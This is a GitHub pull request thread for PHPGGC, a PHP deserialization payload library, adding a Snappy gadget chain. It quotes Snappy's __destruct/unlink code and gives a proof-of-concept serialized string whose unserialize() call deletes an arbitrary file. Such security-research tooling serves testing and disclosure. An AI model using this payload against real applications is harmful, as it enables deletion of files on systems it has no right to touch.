ambionics / phpggc

PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
https://ambionics.io/blog
Apache License 2.0
3.2k stars 492 forks source link

Snappy: Added FD/1, which targets Snappy versions <= 1.4.2 #151

Closed therealcoiffeur closed 1 year ago

therealcoiffeur commented 1 year ago

Hello,

I would like to add my Snappy gadget chain to PHPGGC.

PHP library allowing thumbnail, snapshot or PDF generation from a url or a html page. Wrapper for wkhtmltopdf/wkhtmltoimage

Why?

Below is the responsible code.

File: src/Knp/Snappy/AbstractGenerator.php

<?php

...

abstract class AbstractGenerator implements GeneratorInterface, LoggerAwareInterface
{
    use LoggerAwareTrait;

    /**
     * @var array
     */
    public $temporaryFiles = [];

    ...

    public function __destruct()
    {
        $this->removeTemporaryFiles();
    }

    ...

    /**
     * Removes all temporary files.
     *
     * @return void
     */
    public function removeTemporaryFiles()
    {
        foreach ($this->temporaryFiles as $file) {
            $this->unlink($file);
        }
    }

    ...

    protected function unlink($filename)
    {
        return $this->fileExists($filename) ? \unlink($filename) : false;
    }

    ...

}

File: src/Knp/Snappy/Image.php

<?php

namespace Knp\Snappy;

/**
 * Use this class to create a snapshot / thumbnail from a HTML page.
 *
 * @author  Matthieu Bontemps <matthieu.bontemps@knplabs.com>
 * @author  Antoine Hérault <antoine.herault@knplabs.com>
 */
class Image extends AbstractGenerator
{
    ....
}

How?

Proof Of Concept

$ git clone https://github.com/KnpLabs/snappy.git
$ cd snappy
$ php composer.phar install

Then we create the file test.php as follows.

File: test.php

<?php

require __DIR__ . "/vendor/autoload.php";

use Knp\Snappy\Image;

$s = 'a:2:{i:7;O:16:"Knp\Snappy\Image":1:{s:14:"temporaryFiles";a:1:{i:0;s:9:"/tmp/AAAA";}}i:7;i:7;}';
$o = unserialize($s);

?>

Thank you

cfreal commented 1 year ago

Coiffeur, Jvoisin,

Thanks for the PR and the review! Pushed.

Charles